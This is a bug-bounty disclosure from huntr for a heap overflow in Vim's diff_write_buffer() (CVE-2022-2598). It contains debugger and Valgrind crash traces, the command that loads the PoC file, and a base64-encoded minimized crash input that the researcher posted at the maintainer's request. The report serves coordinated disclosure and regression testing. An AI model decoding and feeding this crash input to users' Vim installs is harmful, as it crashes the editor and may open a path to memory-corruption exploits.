Undefined behavior in diff_write_buffer() in vim/vim

0

✓ Valid Reported on Jul 15th 2022

Description

Undefined behavior. (commit hash: 99af91e5820c78a196c9272cd8ce5aa5be7bf374)
It may occur heap-buffer-overflow.

Proof of Concept

Download POC file
POC

GDB

```
gdb-peda$ r -u NONE -i NONE -n -m -X -Z -e -s -S undefined_poc -c :qa!
0000089bd31 in diff_write_buffer (buf=0x62500000f100, din=<optimized out>)
    at diff.c:755
#3  diff_write (buf=0x62500000f100, din=0x7fffffff9000) at diff.c:827
#4  0x000000000085f358 in diff_try_update (dio=0x7fffffff9000, idx_orig=0x0
    at diff.c:888
#5  0x0000000000859daa in ex_diffupdate (eap=0x0) at diff.c:991
#6  0x000000000084f327 in diff_check (wp=0x625000014100, lnum=0x1) at diff.
#7  0x000000000083cc97 in diff_redraw (dofold=<optimized out>) at diff.c:69
#8  0x000000000088fc47 in ex_diffgetput (eap=0x7fffffff9468) at diff.c:2991
#9  0x00000000008851fd in nv_diffgetput (put=<optimized out>, count=0x0) at
#10 0x000000000149a452 in normal_cmd (oap=0x7fffffff97e0, toplevel=0x1) at
#11 0x0000000000d2f445 in exec_normal (was_typed=<optimized out>, use_vpeek
    may_use_terminal_loop=0x0) at ex_docmd.c:8794
#12 0x0000000000d2ac98 in exec_normal_cmd (cmd=<optimized out>, remap=<opti
    silent=0x0) at ex_docmd.c:8777
#13 ex_normal (eap=0x7fffffff9c70) at ex_docmd.c:8695
#14 0x0000000000c7d2be in do_one_cmd (cmdlinep=<optimized c
    cstack=<optimized out>, fgetline=<optimized out>, cookie=<optimized out
    at ex_docmd.c:2570
    at ex_docmd.c:2570
#15 do_cmdline (cmdline=<optimized out>, fgetline=<optimized out>,
    cookie=<optimized out>, flags=0x7) at ex_docmd.c:992
#16 0x000000001c8046e in do_source_ext (
    fname=0x6080000004a3 "out/fuzz02/crashes/id:000025,sig:11,src:024149,ti
    eap=<optimized out>, clearvars=0x0) at scriptfile.c:1674
#17 0x000000001c7a1ac in do_source (fname=<optimized out>, check_other=0x0
    is_vimrc=0x0, ret_sid=0x606000000f20) at scriptfile.c:1801
#18 cmd_source (
    fname=0x6080000004a3 "out/fuzz02/crashes/id:000025,sig:11,src:024149,ti
#19 0x0000000000c7d2be in do_one_cmd (cmdlinep=<optimized out>, flags=0xb,
    cstack=<optimized out>, fgetline=<optimized out>, cookie=<optimized out
    at ex_docmd.c:2570
#20 do_cmdline (cmdline=<optimized out>, fgetline=<optimized out>,
    cookie=<optimized out>, flags=0xb) at ex_docmd.c:992
#21 0x0000000002a4b348 in exe_commands (parmp=<optimized out>) at main.c:31
#22 vim_main2 () at main.c:780
#23 0x0000000002a409c9 in main (argc=0x2, argc@entry=0xf, argv=<optimized o
    argv@entry=0x7fffffffe428) at main.c:432
#24 0x00007ffff6bf8bf7 in __libc_start_main (main=0x2a34a40 <main>, argc=0x
    argv=0x7fffffffe428, init=<optimized out>, fini=<optimized out>,
    rtld_fini=<optimized out>, stack_end=0x7fffffffe418) at ../csu/libc-sta
#25 0x000000000041c2aa in _start ()
```

Valgrind

```
valgrind src/vim -u NONE -i NONE -n -m -X -Z -e -s -S undefined_poc -c :qa!
==19670== Conditional jump or move depends on uninitialised value(s)
==19670==    at 0x554E31: check_string_option (optionstr.c:324)
==19670==    by 0x52BF96: check_winopt (option.c:5773)
==19670==    by 0x551EEA: check_win_options (option.c:5726)
==19670==    by 0x551EEA: set_init_1 (option.c:341)
==19670==    by 0x9AE63E: common_init (main.c:990)
==19670==    by 0x15E4D4: main (main.c:185)
==19670==
==19670== Conditional jump or move depends on uninitialised value(s)
==19670==    at 0x554E31: check_string_option (optionstr.c:
==19670==    by 0x52BFA2: check_winopt (option.c:5774)
==19670==    by 0x551EEA: check_win_options (option.c:5726)
```

```
==19670==    by 0x551EEA: set_init_1 (option.c:341)
==19670==    by 0x9AE63E: common_init (main.c:990)
==19670==    by 0x15E4D4: main (main.c:185)

==19670==
==19670==
==19670== More than 1000 different errors detected.  I'm not reporting any
==19670== Final error counts will be inaccurate.  Go fix your program!
==19670== Rerun with --error-limit=no to disable this cutoff.  Note
==19670== that errors may occur in your program without prior warning from
==19670== Valgrind, because errors are no longer being displayed.
==19670==
  debug=  define=^\s*#\s*define  dictionary=  diffexpr=  diffopt=internal,f
==19670==
==19670== Process terminating with default action of signal 11 (SIGSEGV)
==19670==    at 0x4A593DB: kill (syscall-template.S:78)
==19670==    by 0x5635D2: may_core_dump (os_unix.c:3519)
==19670==    by 0x56C179: mch_exit (os_unix.c:3485)
==19670==    by 0x9B12BE: getout (main.c:1737)
==19670==    by 0x4A5908F: ??? (in /usr/lib/x86_64-linux-gnu/libc-2.31.so)
==19670==    by 0x483EF45: strlen (in /usr/lib/x86_64-linux-gnu/valgrind/vg
==19670==    by 0x200084: diff_write_buffer (diff.c:755)
==19670==    by 0x200084: diff_write (diff.c:827)
==19670==    by 0x2018E7: diff_try_update (diff.c:888)
==19670==    by 0x20CABD: ex_diffupdate (diff.c:991)
==19670==    by 0x20D08A: diff_check (diff.c:1923)
==19670==    by 0x20A063: diff_redraw (diff.c:690)
==19670==    by 0x214066: ex_diffgetput (diff.c:2991)
==19670==
==19670== HEAP SUMMARY:
==19670==     in use at exit: 2,287,429 bytes in 983 blocks
==19670==   total heap usage: 6,946 allocs, 5,963 frees, 7,398,161 bytes al
==19670==
==19670== LEAK SUMMARY:
==19670==    definitely lost: 5,664 bytes in 4 blocks
==19670==    indirectly lost: 0 bytes in 0 blocks
==19670==      possibly lost: 0 bytes in 0 blocks
==19670==    still reachable: 2,281,765 bytes in 979 blocks
==19670==         suppressed: 0 bytes in 0 blocks
==19670== Rerun with --leak-check=full to see details of le
==19670==
==19670== Use --track-origins=yes to see where uninitialised values come fr
==19670== For lists of detected and suppressed errors, rerun with: -s


==19670== ERROR SUMMARY: 28632 errors from 1000 contexts (suppressed: 0 fro
Segmentation fault (core dumped)
```

Impact

It may lead to exploit program.

CVE
CVE-2022-2598
(Published)

Vulnerability Type
CWE-475: Undefined Behavior for Input to API

Severity
Medium (6.5)

Registry
Other

Affected Version
stable

Visibility
Public

Status
Fixed

Found by

ABYSS

abysslab
@abysslab
master

Fixed by

Bram Moolenaar
@brammool
maintainer

Chat with us

This report was seen 667 times.

We are processing your report and will contact the **vim** team within 24 hours. 4 months ago

abysslab modified the report 4 months ago

abysslab modified the report 4 months ago

abysslab modified the report 4 months ago

We have contacted a member of the **vim** team and are waiting to hear back 4 months ago

We have sent a follow up to the **vim** team. We will try again in 7 days. 4 months ago

We have sent a second follow up to the **vim** team. We will try again in 10 days. 4 months ago

Bram Moolenaar 4 months ago Maintainer

The POC is a sequence of random characters. Please reduce it to the absolute minimum to reproduce the problem, so that it can be used for a regression test.

abysslab 4 months ago Researcher

```
echo -ne bm9ybTpzZSBkAQ0KbjAKZTAwCnNhfG5vMCB1dWRwTwN1bzAbZ2cKc2lsIW5vcm0wMEow | base64 -d >> mini.poc
```

This is our minimized poc

abysslab 4 months ago Researcher

Can we get Cve Number?

abysslab 4 months ago Researcher

The minimized POC is equivalent to https://huntr.dev/bounties/2024a04a-d3 af39a4931f38/. This is why the report was closed.

Chat with us

Bram Moolenaar 4 months ago

Maintainer

Aha, so I would think that this one would be closed, since the original POC was not good, while the other one hat the minimized POC, but was already closed.
Anyway, we can use this one to mark as valid and close it as fixed by patch 9.0.0101

Bram Moolenaar validated this vulnerability 4 months ago

abysslab has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Bram Moolenaar marked this as fixed in **9.0.0100** with commit **4e677b** 4 months ago

Bram Moolenaar has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

abysslab 4 months ago

Researcher

@admin can we get a CVE for this?

Jamie Slome 4 months ago

Admin

Sorted 👍

Sign in to join this conversation

huntr

home

hacktivity

leaderboard

FAQ

contact us

terms

privacy policy

part of 418sec

company

about

team

Chat with us